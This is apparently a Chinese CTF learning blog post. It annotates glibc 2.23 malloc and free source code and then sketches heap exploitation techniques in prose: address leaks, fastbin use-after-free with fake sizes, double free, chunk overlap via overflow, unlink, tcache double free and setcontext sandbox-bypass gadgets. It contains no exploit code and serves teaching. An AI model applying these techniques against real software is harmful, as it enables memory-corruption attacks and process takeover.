第一种是位于smallbin范围,此时会计算出该nb对应的大小,然后找到bin,根据bk定位最后一个堆块并将其取出。

第二种是idx不在small bin范围内的情况。此时会计算出对应的largebin idx,然后进行malloc_consolidate操作。

这个函数我以后也许会慢慢分析,是一个比较大的函数。这里只讲其功能:

  1. 若堆未初始化,则初始化
  2. 若堆已经初始化过了,则逐个遍历所有的fastbin链表,将其中的堆块一次从fastbin中取出,并将其变为可以被合并的空闲堆块(简而言之即让后面的堆块的P位置零),同时触发所有可能的合并行为,并将每一个清理出来的fastbin chunk或其与相邻堆块合并过的chunk,扔进unsorted bin中(unsorted bin也是头进尾出的双向链表)

对于small bin的取出检查总结如下:

  1. 对于small链表尾部有局部完整性检查:bck找到的堆块,必须能通过fd找回来。
  2. 没有size与idx的检查。这位house of lore创造了条件。

然后程序会进行大循环操作。

大循环——1.清空unsorted bin

大循环的整体,是从下面代码的for(;;)开始。而针对于unsorted bin的操作,是从while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))这条语句开始的。

iters是一个计数器,不用管,这个和堆的分配基本没有影响。

下面从while循环开始分析:

这里在while循环的条件里,取到了unsorted bin中的最后一个堆块(由bk定位)的地址(victim),首先会对size合法性进行检查,主要检查size位的情况,不能太大也不能太小。但是并不会检查堆块完整性(注入尝试找到相邻堆块之类的检查)。一般来说,常规的伪造行为,都能通过检查。

之后到达内部的if分支,会检查unsorted bin中chunk数量是否为1(从while刚进来时候的代码可以看到bck是由victim的bk定位的,而判断是bk是否为unsorted bin,victim又是从bin的bk定位的,因此这个条件相当于只有一个unsorted bin chunk),然后再检查victim是不是last_reminder。如果是,且victim的size大于请求大小nb,并且还足以支撑完成本次切割,则立刻切割该堆块并返回,同时残留堆块会留在unsorted bin中(fd和bk同时指向残留,反正unsorted bin之前就只有一个chunk……)

固有天赋 :对于落单在unsorted bin中的chunk发动『审查』时,若『切割』仍处于冷却中,且目标挂有reminder标记且生命值高于切割伤害,则会立刻对其发动一次『切割』(胡言乱语中……)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
for (;;)
{
int iters = 0;
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);

size = chunksize(victim);

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long)(size) > (unsigned long)(nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks(av);
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

这个操作算是极为特殊的待遇了,我总觉得正常情况下不太可能走这一段分支,但是ctf赛题里这种情况非常常见,经常要用到这个分支。

之后的操作就是逐个遍历unsorted bin中的堆块,将unsorted bin中的chunk从尾部逐个取出来(一个类似于unlink的操作)。如果size大小合适,则立刻返回并停止遍历行为。否则会将该unsorted bin chunk扔进对应size的small bin或者large bin中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

/* place chunk in bin */

if (in_smallbin_range(size))
{
victim_index = smallbin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
}
else //以下是largebin的分支,可以暂时不看。
{
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long)(size) < (unsigned long)(bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long)size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long)size == (unsigned long)fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}

大循环——2.bins完整取出

从largebin中取出堆块,idx已经在进入大循环之前计算好了。

small bin基本上不需要再找了,因为在进大循环前筛查过一次,一定没有合适的。如果unsorted bin里面有,那么一定会在前一步找出来而直接返回,程序就不会跑到这里了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/

if (!in_smallbin_range(nb))
{
bin = bin_at(av, idx);

/* skip scan if empty or largest chunk is too small */
if ((victim = first(bin)) != bin &&
(unsigned long)(victim->size) >= (unsigned long)(nb))
{
victim = victim->bk_nextsize;
while (((unsigned long)(size = chunksize(victim)) <
(unsigned long)(nb)))
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last(bin) && victim->size == victim->fd->size)
victim = victim->fd;

remainder_size = size - nb;
unlink(av, victim, bck, fwd);

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}

/*
Search for a chunk by scanning bins, starting with next largest
bin. This search is strictly by best-fit; i.e., the smallest
(with ties going to approximately the least recently used) chunk
that fits is selected.

The bitmap avoids needing to check that most blocks are nonempty.
The particular case of skipping all bins during warm-up phases
when no chunks have been returned yet is faster than it might look.
*/

++idx;
bin = bin_at(av, idx);
block = idx2block(idx);
map = av->binmap[block];
bit = idx2bit(idx);

看看就行,初学者暂时不必关注。

大循环——3.最小适应堆块分割

至此,基本可以说明,目前没有完全符合我们条件的内存块。我们只能退而求其次,选择较大的堆块,试图进行切割。

idx++的操作,是为了从更大的最小bin开始找,这个查找过程有binmap的辅助,效率会因此有所提升。binmap可以帮助程序用最快速度找到非空bin。

对于切割剩余不足的情况,似乎是直接大方地将这个堆块返回了。至于binmap的原理,是很常见的用二进制位进行标记有无的操作,感兴趣的师傅自己可以研究。我等一段时间再写,这里不再赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
++idx;
bin = bin_at(av, idx);
block = idx2block(idx);
map = av->binmap[block];
bit = idx2bit(idx);

for (;;)
{
/* Skip rest of block if there are no more set bits in this block. */
if (bit > map || bit == 0)
{
do
{
if (++block >= BINMAPSIZE) /* out of bins */
goto use_top;
} while ((map = av->binmap[block]) == 0);

bin = bin_at(av, (block << BINMAPSHIFT));
bit = 1;
}

/* Advance to bin with set bit. There must be one. */
while ((bit & map) == 0)
{
bin = next_bin(bin);
bit <<= 1;
assert(bit != 0);
}

/* Inspect the bin. It is likely to be non-empty */
victim = last(bin);

/* If a false alarm (empty bin), clear the bit. */
if (victim == bin)
{
av->binmap[block] = map &= ~bit; /* Write through */
bin = next_bin(bin);
bit <<= 1;
}

else
{
size = chunksize(victim);

/* We know the first chunk in this bin is big enough to use. */
assert((unsigned long)(size) >= (unsigned long)(nb));

remainder_size = size - nb;

/* unlink */
unlink(av, victim, bck, fwd);

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}

/* Split */
else
{
remainder = chunk_at_offset(victim, nb);

/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks 2";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;

/* advertise as last remainder */
if (in_smallbin_range(nb))
av->last_remainder = remainder;
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}

大循环——4.top chunk分割与sysmalloc

跑到这里了,如果还找不到chunk,说明程序中根本没有多少空闲块,这时会尝试切割top chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).

We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/

victim = av->top;
size = chunksize(victim);

if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

如果top chunk剩余size不足,则再次尝试执行malloc_consolidate(av)——基本榨不出油水,然后重来一遍大循环。如果还没有chunk,则说明top chunk真不够了,需要去通过sys_malloc函数,以系统调用的方式扩展堆段空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
else if (have_fastchunks(av))
{
malloc_consolidate(av);
/* restore original bin index */
if (in_smallbin_range(nb))
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}

/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc(nb, av);
if (p != NULL)
alloc_perturb(p, bytes);
return p;
}

free源码剖析

free函数在glibc内部被封装为_libc_free,_libc_free会调用_int_free。这和malloc有些相似。

_libc_free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __libc_free(void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
if (__builtin_expect(hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS(0));
return;
}

if (mem == 0) /* free(0) has no effect */
return;

p = mem2chunk(mem);

if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
/* see if the dynamic brk/mmap threshold needs adjusting */
if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize(p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk(p);
return;
}

ar_ptr = arena_for_chunk(p);
_int_free(ar_ptr, p, 0);
}
libc_hidden_def(__libc_free)

概括下来可以记录为,有钩子调用钩子,没有钩子就看你这个chunk是怎么来的,如果是mmap的就走mumap,如果不是,就走_int_free。

需要注意,有一个特例,如果给free传入的是一个空指针,那么free会直接返回,并不会导致程序的退出。

_int_free

初始化处理

首先还是一系列初始化和检查,包括求出chunksize,检查p的合法性(地址不要太累离谱),以及检查size合法性(malloc里面有相似的)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static void
_int_free(mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */

const char *errstr = NULL;
int locked = 0;

size = chunksize(p);

/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect((uintptr_t)p > (uintptr_t)-size, 0) || __builtin_expect(misaligned_chunk(p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void)mutex_unlock(&av->mutex);
malloc_printerr(check_action, errstr, chunk2mem(p), av);
return;
}
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size)))
{
errstr = "free(): invalid size";
goto errout;
}

check_inuse_chunk(av, p);

关于check_inuse_chunk这个宏,是在非调试状态下才有用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#if !MALLOC_DEBUG

#define check_chunk(A, P)
#define check_free_chunk(A, P)
#define check_inuse_chunk(A, P)
#define check_remalloced_chunk(A, P, N)
#define check_malloced_chunk(A, P, N)
#define check_malloc_state(A)

#else

#define check_chunk(A, P) do_check_chunk(A, P)
#define check_free_chunk(A, P) do_check_free_chunk(A, P)
#define check_inuse_chunk(A, P) do_check_inuse_chunk(A, P)
#define check_remalloced_chunk(A, P, N) do_check_remalloced_chunk(A, P, N)
#define check_malloced_chunk(A, P, N) do_check_malloced_chunk(A, P, N)
#define check_malloc_state(A) do_check_malloc_state(A)

正常情况下MALLOC_DEBUG是0

释放进fastbin的内存块

是否进入fastbin是根据chunk size来判断的。源码如下,我在这里注释了相关检查的意义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
if ((unsigned long)(size) <= (unsigned long)(get_max_fast())
#if TRIM_FASTBINS
/*
这个额外的检查一般不会启用
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
)
{
//常规size检查
if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0))
{
//检查next堆块的size是否正常。
if (have_lock || ({
assert(locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset(p, size)->size <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (!have_lock)
{
(void)mutex_unlock(&av->mutex);
locked = 0;
}
}
//填充内存块,这里因为填充字节设置的是\x00所以不会操作
free_perturb(chunk2mem(p), size - 2 * SIZE_SZ);
//设置点arena的标记,不必关心
set_fastchunks(av);


//从这里开始把堆块加入fastbin
unsigned int idx = fastbin_index(size);
fb = &fastbin(av, idx);

mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do
{
//这个循环只会执行一轮其实,其实就是单向链表把新节点插入头部。不过fastbin这里有一个弱的double free检查
if (__builtin_expect(old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
} while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2)) != old2);

//检查idx和old idx,基本应该是相同的
if (have_lock && old != NULL && __builtin_expect(old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}

我们根据上述代码,可以总结把堆块放进fastbin的行为需要哪些检查:

  1. 堆块自身的size合法,next chunk的size合法
  2. 堆块不能是对应的fastbin的第一个堆块,否则会爆出来double free的错
  3. 微弱地检查一下fastbin中之前的第一个堆块的size是否合法(很少触发,改了fastbin chun的size也没法取出来,没有意义)

释放进unsorted bin的堆块

(该分支和fastbin分支并列)

堆块在刚被free的时候,要么进fastbin,要么进unsorted bin。small bin和large bin都是通过malloc中将发现的暂未使用的未释放块扔进去的方式来填充的,不会直接放入。

双链表bin和单链表bin的最大区别在于其中的chunk是可以合并/分割的,
free操作主要涉及到合并。

首先还是来一堆常规检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
else if (!chunk_is_mmapped(p))
{
if (!have_lock)
{
(void)mutex_lock(&av->mutex);
locked = 1;
}

nextchunk = chunk_at_offset(p, size);

// 不准free掉top chunk
if (__glibc_unlikely(p == av->top))
{
errstr = "double free or corruption (top)";
goto errout;
}
// free的chunk大小超界了
if (__builtin_expect(contiguous(av) && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0))
{
errstr = "double free or corruption (out)";
goto errout;
}
// 通过后一个堆块的P位,发现这个堆块应该是被释放块
if (__glibc_unlikely(!prev_inuse(nextchunk)))
{
errstr = "double free or corruption (!prev)";
goto errout;
}
//检查后一个size的合法性
nextsize = chunksize(nextchunk);
if (__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0) || __builtin_expect(nextsize >= av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
goto errout;
}
//填充行为(相当于没有)
free_perturb(chunk2mem(p), size - 2 * SIZE_SZ);

都是些常规检查,然后会尝试进行合并行为。先进行低地址合并

我从来都分不清什么是前向合并什么是后向合并,干脆叫低地址/高地址了

1
2
3
4
5
6
7
8
/* consolidate backward */
if (!prev_inuse(p))
{
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
unlink(av, p, bck, fwd);
}

chunk通过自己的P位,观察前一个堆块是否被释放。如果被释放,就用prev_size位进行定位,然后把这个堆块进行了一个unlink的行为

unlink是一个非常重要的宏,在高版本里它甚至直接变成了函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#define unlink(AV, P, BK, FD)                                                                                                       \
{ \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \
malloc_printerr(check_action, "corrupted double-linked list", P, AV); \
else \
{ \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range(P->size) && __builtin_expect(P->fd_nextsize != NULL, 0)) \
{ \
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr(check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) \
{ \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else \
{ \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} \
else \
{ \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

这个宏的作用是解链,让chunk从unsorted/small bin的双向链表或large bin的交叉链表中解脱出来。largebin的部分可能初学者暂时看不懂,可以先忽略。我们观察单纯的双向链表部分,可以看到这就是一个普通的双向链表解链操作。

注意有个非常非常重要的检查:检查fd和bk的合法性(能再根据fd的bk和bk的fd找回自己)。以后会着重强调的。

粗略讲完了unlink,我们不要忘记,在解链之后,被释放的堆块指针p发生了变动,转移到了被合并的低地址堆块那里。同样size也把被释放堆块的size添加了进来。

接着进行高地址合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
if (nextchunk != av->top)
{
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse)
{
unlink(av, nextchunk, bck, fwd);
size += nextsize;
}
else
clear_inuse_bit_at_offset(nextchunk, 0);

/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;

set_head(p, size | PREV_INUSE);
set_foot(p, size);

check_free_chunk(av, p);
}
else
{
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}

如果后面不是top chunk,则看看它再后面的堆块的P位,看看这个堆块能不能合并。如果可以,就unlink解链,扩大size(p就不用动了因为是高地址的),设置好标记位,然后丢进unsorted bin里面,这里是标准的循环双向链表的尾插法,而且对于尾部结构又完整性检查(fwd的bk能否找回)

如果后面的堆块不能合并,就修改标记位,然后也丢进unsorted。所有丢进bin的操作进行之前,都会设置好新的堆块头(记录size以及其中的标记)和堆块尾(即下一个堆块的堆块头,记录prev_size)。

如果后面是top chunk,那就无脑合并就行了。

再下面的代码都是些不需要太多关注的部分,几乎不会有什么影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
		if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)
{
if (have_fastchunks(av))
malloc_consolidate(av);

if (av == &main_arena)
{
#ifndef MORECORE_CANNOT_TRIM
if ((unsigned long)(chunksize(av->top)) >=
(unsigned long)(mp_.trim_threshold))
systrim(mp_.top_pad, av);
#endif
}
else
{
/* Always try heap_trim(), even if the top chunk is not
large, because the corresponding heap might go away. */
heap_info *heap = heap_for_ptr(top(av));

assert(heap->ar_ptr == av);
heap_trim(heap, mp_.top_pad);
}
}

if (!have_lock)
{
assert(locked);
(void)mutex_unlock(&av->mutex);
}
}
/*
If the chunk was allocated via mmap, release via munmap().
*/

else
{
munmap_chunk(p);
}
}

至此,malloc和free函数已经被我们初步分析完毕。恭喜,我们终于粗略描绘完成了堆的世界。下一步我们将学习相关的堆攻击手法。

其余关键函数/宏 描述

等一段时间我会在这里放上一些关键函数和宏的描述,上文第一次出现相关操作时可以来这里找一找

(先挖个坑)

III. 基础堆攻击技巧(2.23下)

这里我们讲一些基础的堆攻击技巧。大多是一些死板的招数。我就先以贴博客为主,暂时不细讲了。

leek相关地址

malloc行为取得合适堆块后就会直接返回,对于这个chunk的使用交给了用户程序。如果chunk在使用前不对chunk头部进行清零处理,那么chunk的头部可能会有相关残留指针。

需要注意的点如下:

  1. 对于单链表的fastbin,可以通过泄露fd残留来获得堆地址。但是fastbin中最后的chunk的fd是0
  2. 对于unsorted bin这类双链表结构,其中的chunk的fd或bk可能指向别的chunk,也可能指向unsorted bin。因此可以泄露出libc地址和堆地址。small/large bin同理
  3. 泄露过程需要注意\x00截断。如果输入自带截断,就会难以泄露。

UAF

UAF,即use after free,是指使用释放后的堆块。这种漏洞一般是由于free后未把相应指针置零导致的。

普通fastbin UAF

利用uaf漏洞带来的未清零指针,辅以用户程序提供的编辑功能,通过劫持fastbin中chunk的指针,让libc中某个地址被当做fastbin中的chunk,由于fastbin不具备计数能力(这一点和后面的tcache不同),我们可以轻松把libc地址当做chunk取出来。然后利用用户程序的功能进行edit行为。

详细教程以后再写,先罗列重点

  1. 需要劫持fastbin中chunk的fd指针
  2. 由于fastbin取出时会有检查size和bin是否对应,这一点需要伪造。在攻击libc时,我们利用size检查屏蔽低四位的特性,选取libc段的0x7f来作为size
  3. 需要提前获得目标的地址。一般来说是libc地址。

double free

有时候堆块在用户那里会用一个结构记录size,如果被free,size会置零,仅仅chunk指针忘了置零。这种情况无法直接edit。

利用free函数的fastbin分支的double free过于松散的特点,可以把一个堆块free进fastbin两次,第一次取出后会刷新size从而可以通过edit修改,而该堆块仍在fastbin内,就能通过edit实现fastbin劫持。

重点:

  1. double的触发需要绕过fastbin的一个检查——被释放堆块是否与最靠近bin头(上一个进入fastbin的堆块)是同一个堆块。因此要遵循free(A)、free(B)、free(A)的次序来free堆块。这样在fastbin内排布就是bin->A->B->A->…。相当于构成了一个环。这时取出A再edit就能打破环
  2. 注意size必须是0x70的chunk

堆溢出

堆溢出即输入的内容溢出了当前堆块的范围,输入内容能够覆盖到下一个堆块的结构。需要注意,能溢出到下一个堆块的prev_size是没有用的。因为这个部分是两个堆块共用的。至少至少,我们要溢出到size位。

如果我们溢出的范围足够大,可以够到fd位,那么这种情况可以当做单纯的UAF去做。这里讨论仅仅能溢出到size位的情况。

修改size位意味着在glibc堆管理器的严重,chunk的大小发生了变化。因为内存中的chunk 是紧密排列的。chunk大小变化就可能会导致堆块的重叠,而一旦堆块重叠,一个堆块就可能能修改另一个堆块的fd和bk。修改size位会造成堆块扩展和堆块收缩两个情况。这两种情况都会引发堆块的重叠。

堆块扩展

堆块扩展需要把size位改大。其核心思想是,通过A堆块的堆溢出,将B堆块size位扩大,使得该chunk的范围被扩大至后一个堆块C中。之后再把B堆块重新取出来更新size位,让B堆块可以覆写C堆块。

B堆块可以是已释放堆块,也可以是未释放堆块。对于未释放堆块,可以通过将堆块扩展后释放再取出的方式,来控制C堆块的fd和bk。但是对于已经释放的堆块,如果是fastbin,则会出现取不出来的情况,因为存在有size的检查。另外,对于堆块的释放和取出行为,需要提前伪造,即在新的size对饮的chunk尾部伪造下一个chunk的chunk头。根据你修改的size情况,需要伪造号prev_size和size标记。

堆块收缩

堆块收缩,一般指的是off-by-null,难度较大,我们到后面细讲。

unlink的学习的意义,更多在于服务于合并行为的检查绕过。但是也有利用unlink操作攻击题目中的heaplist结果的方法。这一个技巧的效果是我们可以控制heaplist,进而获得任一地址读写权限。

IV. glibc2.27与tcache机制原理及利用技巧

tcache相关结构体

malloc/free源码变动

tcache攻击技巧(初代)

tcache因为其结构特点,攻击思想类似于针对fastbin的攻击。

在2.27-1.6之前针对tcache的攻击主要集中于tcache缺失对于double free的检查,这个版本之前的tcache在put的时候是直接插入到tcache头部的,因此很容易double free成环进而实现UAF攻击。

5. largbin attack与IO结构攻击原理

6. glibc 2.31及更高版本变化历程

W. UAF漏洞引起的指针劫持类攻击的思想提炼

(先挖个坑)

X. off-by-one漏洞引起的堆块缩放类攻击的思想提炼

(先挖个坑)

Y. 堆题沙箱绕过技巧总结

2.27及之前的setcontext

setcontext+53 rdi启动

2.31后的setcontext

setcontext+61 rdx启动

被迫用free触发的话,可以用一个magic gadget,搜索rdi和rdx,可以轻松找到。

或者直接配合io惊醒攻击。

